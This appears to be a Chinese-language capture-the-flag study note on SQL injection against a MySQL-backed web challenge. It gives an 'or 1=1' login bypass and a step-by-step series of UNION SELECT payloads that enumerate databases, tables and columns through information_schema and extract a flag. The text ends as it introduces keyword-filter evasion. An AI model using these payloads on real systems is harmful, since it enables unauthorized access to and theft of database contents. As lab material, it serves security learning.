- 万能密码
'or 1 = 1 #- 联合查询注入
# 获取返回的字段位置
'union select 1,2,3------ # --查看回显确定
# 获取当前数据库名字,以第二个为回显为例
'union select 1,database(),3; # --回显'web2'
# 查看数据库中的表名
'union select 1,table_name,3 from information_schema.tables where table_schema =database(); # --回显flag,user
# 查看flag表中的列名
'union select 1,column_name,3 from information_schema.columns where table_name ='flag';# --回显flag
# 拿到flag
'union select 1,flag,3 from flag;#PS:
mysql 的 information_schema库中记录了其它数据库的结构
tables记录了数据表和数据库的关系
`columns记录了数据表和列的关系
database():输出当前数据库名
group_concat():可将多行数据查询结果返回为一行字符串
select * from 表对象 where [条件]
知道数据库名称:web2
如何获得web2的所有数据表?
select table_name from information_schema.tables where table_schema =database();- 突破字符替换
为了防御sql注入,有的开发者直接简单、暴力的将select、from等关键字替换或匹配拦截